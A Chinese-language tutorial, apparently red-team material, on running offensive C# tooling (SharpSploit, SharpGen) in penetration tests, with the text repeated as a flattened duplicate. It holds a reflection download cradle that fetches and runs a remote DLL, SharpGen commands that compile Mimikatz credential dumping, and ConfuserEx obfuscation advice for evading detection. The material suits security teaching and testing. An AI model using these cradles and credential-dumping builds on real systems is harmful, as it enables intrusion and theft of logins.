c#在渗透实战中的挑战
字数 1599 2025-08-27 12:33:31

C#在渗透实战中的挑战与解决方案

1. 引言

随着攻击工具继续朝着将C#作为漏洞利用语言的方向发展,在实战中使用C#攻击脚本变得非常有用。与PowerShell相比,C#提供了更好的隐蔽性,但同时也带来了一些操作上的挑战。本文档将详细记录这些实战挑战,并提供相应的解决方案。

2. C#执行挑战与解决方案

2.1 执行方式选择

发布C#工具时有两种主要形式:

  • 独立可执行文件(.exe)
  • 库文件(.dll)

选择库文件形式虽然增加了灵活性,但也带来了如何在实战中使用DLL的挑战。

2.2 解决方案比较

2.2.1 ILMerge

原理:开源的.NET程序静态链接器,将多个.NET程序合并为一个输出程序。

使用方法

  1. 创建引用SharpSploit的控制台应用程序
  2. 编写使用SharpSploit的定制代码
  3. 构建应用程序生成.exe和.dll文件
  4. 使用ILMerge合并程序

示例命令

ILMerge.exe /out:SharpSploit.exe SharpSploitDriver.exe SharpSploit.dll

特点

  • 生成自包含的可执行文件
  • 合并程序具有部分破坏性
  • 可能影响应用程序执行

2.2.2 Costura

原理:将DLL引用作为"嵌入式资源"添加到控制台应用程序。

使用方法

  1. 创建控制台应用程序并添加SharpSploit引用
  2. 添加Costura.Fody NuGet包
  3. 编写定制代码
  4. 重新编译生成独立.exe

注意事项

  • 最新版本不支持.NET Framework v3.5
  • 需安装Costura v1.6.2以支持.NET Framework v3.5

特点

  • 生成独立可执行文件
  • 包含Costura调用和资源信息
  • 隐蔽性略低于ILMerge

2.2.3 Reflection

原理:使用System.Reflection命名空间加载.NET程序集并调用方法。

PowerShell示例

[System.Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes("SharpSploit.dll")).GetType("SharpSploit.Execution.Shell").GetMethod("ShellExecute").Invoke(0, @("whoami"))

C#示例

System.Reflection.Assembly.Load(new System.Net.WebClient().DownloadData("https://example.com/SharpSploit.dll")).GetType("SharpSploit.Execution.Shell").GetMethod("ShellExecute").Invoke(0, @("whoami"));

特点

  • 可作为"download cradle"使用
  • 节省可执行文件大小
  • 避免复杂性

2.2.4 DotNetToJScript

原理:创建加载指定.NET程序的JScript或VBScript文件。

限制

  • 不适用于大型程序
  • 不适用于静态类或方法
  • 需要将脚本文件写入磁盘

解决方法

  1. 注释掉不需要的嵌入式资源
  2. 移除静态分类器

3. 实战便利性挑战

3.1 现有解决方案

  1. SharpSploitConsole:利用Costura
  2. SharpAttack:利用ILMerge

优点

  • 只需编译一次控制台应用程序
  • 可访问大部分功能

缺点

  • 灵活性受限
  • 无法执行定制C#代码
  • 无法与Cobalt Strike的execute-assembly命令配合使用

4. SharpGen解决方案

4.1 基础功能

核心功能:利用Roslyn C#编译器快速交叉编译.NET框架控制台应用程序或库。

基本用法

dotnet SharpGen.dll -f example.exe "Console.WriteLine(Mimikatz.LogonPasswords());"

从文件读取源码

dotnet SharpGen.dll -f example.exe --source-file example.txt

4.2 目录结构

SharpGen
├── Source          # 编译时包含的源代码
├── References      # 编译时引用的DLL
├── Resources       # 编译时嵌入的资源
├── Output          # 输出目录
└── confuse.cr      # ConfuserEx项目文件

4.3 高级用法

4.3.1 资源管理

减小二进制大小的方法

  1. 禁用不需要的资源
  2. 只嵌入特定平台的资源
  3. 使用压缩资源
  4. 使用ConfuserEx资源保护

resources.yml配置示例

- Name: SharpSploit.Resources.powerkatz_x86.dll
  File: powerkatz_x86.dll
  Platform: x86
  Enabled: false

4.3.2 ConfuserEx混淆

使用方法

dotnet SharpGen.dll -f example.exe --confuse confuse.cr "Console.WriteLine(Mimikatz.LogonPasswords());"

confuse.cr示例

<project baseDir="{0}" outputDir="{1}" xmlns="http://confuser.codeplex.com">
  <module path="{2}">
    <rule pattern="true" inherit="false">
      <protection id="resources" />
    </rule>
  </module>
</project>

4.3.3 源码优化

特性

  • 自动删除未使用的类型
  • 减少二进制大小
  • 提高隐蔽性

禁用优化

dotnet SharpGen.dll -f example.exe --no-optimization "Console.WriteLine(Mimikatz.LogonPasswords());"

5. 最佳实践建议

  1. 隐蔽性优先:ILMerge通常比Costura更隐蔽
  2. 资源管理:根据需求选择性地嵌入资源
  3. 平台选择:明确目标平台(x86/x64)
  4. 混淆保护:对关键工具使用ConfuserEx
  5. 源码优化:默认启用以减小体积和提高隐蔽性

6. 结论

使用C#进行渗透测试虽然面临执行、便利性和灵活性等挑战,但通过SharpGen等工具可以有效地解决这些问题。关键在于平衡隐蔽性、便利性和灵活性之间的关系,根据具体场景选择最合适的解决方案。

C#在渗透实战中的挑战与解决方案 1. 引言 随着攻击工具继续朝着将C#作为漏洞利用语言的方向发展,在实战中使用C#攻击脚本变得非常有用。与PowerShell相比,C#提供了更好的隐蔽性,但同时也带来了一些操作上的挑战。本文档将详细记录这些实战挑战,并提供相应的解决方案。 2. C#执行挑战与解决方案 2.1 执行方式选择 发布C#工具时有两种主要形式: 独立可执行文件(.exe) 库文件(.dll) 选择库文件形式虽然增加了灵活性,但也带来了如何在实战中使用DLL的挑战。 2.2 解决方案比较 2.2.1 ILMerge 原理 :开源的.NET程序静态链接器,将多个.NET程序合并为一个输出程序。 使用方法 : 创建引用SharpSploit的控制台应用程序 编写使用SharpSploit的定制代码 构建应用程序生成.exe和.dll文件 使用ILMerge合并程序 示例命令 : 特点 : 生成自包含的可执行文件 合并程序具有部分破坏性 可能影响应用程序执行 2.2.2 Costura 原理 :将DLL引用作为"嵌入式资源"添加到控制台应用程序。 使用方法 : 创建控制台应用程序并添加SharpSploit引用 添加Costura.Fody NuGet包 编写定制代码 重新编译生成独立.exe 注意事项 : 最新版本不支持.NET Framework v3.5 需安装Costura v1.6.2以支持.NET Framework v3.5 特点 : 生成独立可执行文件 包含Costura调用和资源信息 隐蔽性略低于ILMerge 2.2.3 Reflection 原理 :使用System.Reflection命名空间加载.NET程序集并调用方法。 PowerShell示例 : C#示例 : 特点 : 可作为"download cradle"使用 节省可执行文件大小 避免复杂性 2.2.4 DotNetToJScript 原理 :创建加载指定.NET程序的JScript或VBScript文件。 限制 : 不适用于大型程序 不适用于静态类或方法 需要将脚本文件写入磁盘 解决方法 : 注释掉不需要的嵌入式资源 移除静态分类器 3. 实战便利性挑战 3.1 现有解决方案 SharpSploitConsole :利用Costura SharpAttack :利用ILMerge 优点 : 只需编译一次控制台应用程序 可访问大部分功能 缺点 : 灵活性受限 无法执行定制C#代码 无法与Cobalt Strike的execute-assembly命令配合使用 4. SharpGen解决方案 4.1 基础功能 核心功能 :利用Roslyn C#编译器快速交叉编译.NET框架控制台应用程序或库。 基本用法 : 从文件读取源码 : 4.2 目录结构 4.3 高级用法 4.3.1 资源管理 减小二进制大小的方法 : 禁用不需要的资源 只嵌入特定平台的资源 使用压缩资源 使用ConfuserEx资源保护 resources.yml配置示例 : 4.3.2 ConfuserEx混淆 使用方法 : confuse.cr示例 : 4.3.3 源码优化 特性 : 自动删除未使用的类型 减少二进制大小 提高隐蔽性 禁用优化 : 5. 最佳实践建议 隐蔽性优先 :ILMerge通常比Costura更隐蔽 资源管理 :根据需求选择性地嵌入资源 平台选择 :明确目标平台(x86/x64) 混淆保护 :对关键工具使用ConfuserEx 源码优化 :默认启用以减小体积和提高隐蔽性 6. 结论 使用C#进行渗透测试虽然面临执行、便利性和灵活性等挑战,但通过SharpGen等工具可以有效地解决这些问题。关键在于平衡隐蔽性、便利性和灵活性之间的关系,根据具体场景选择最合适的解决方案。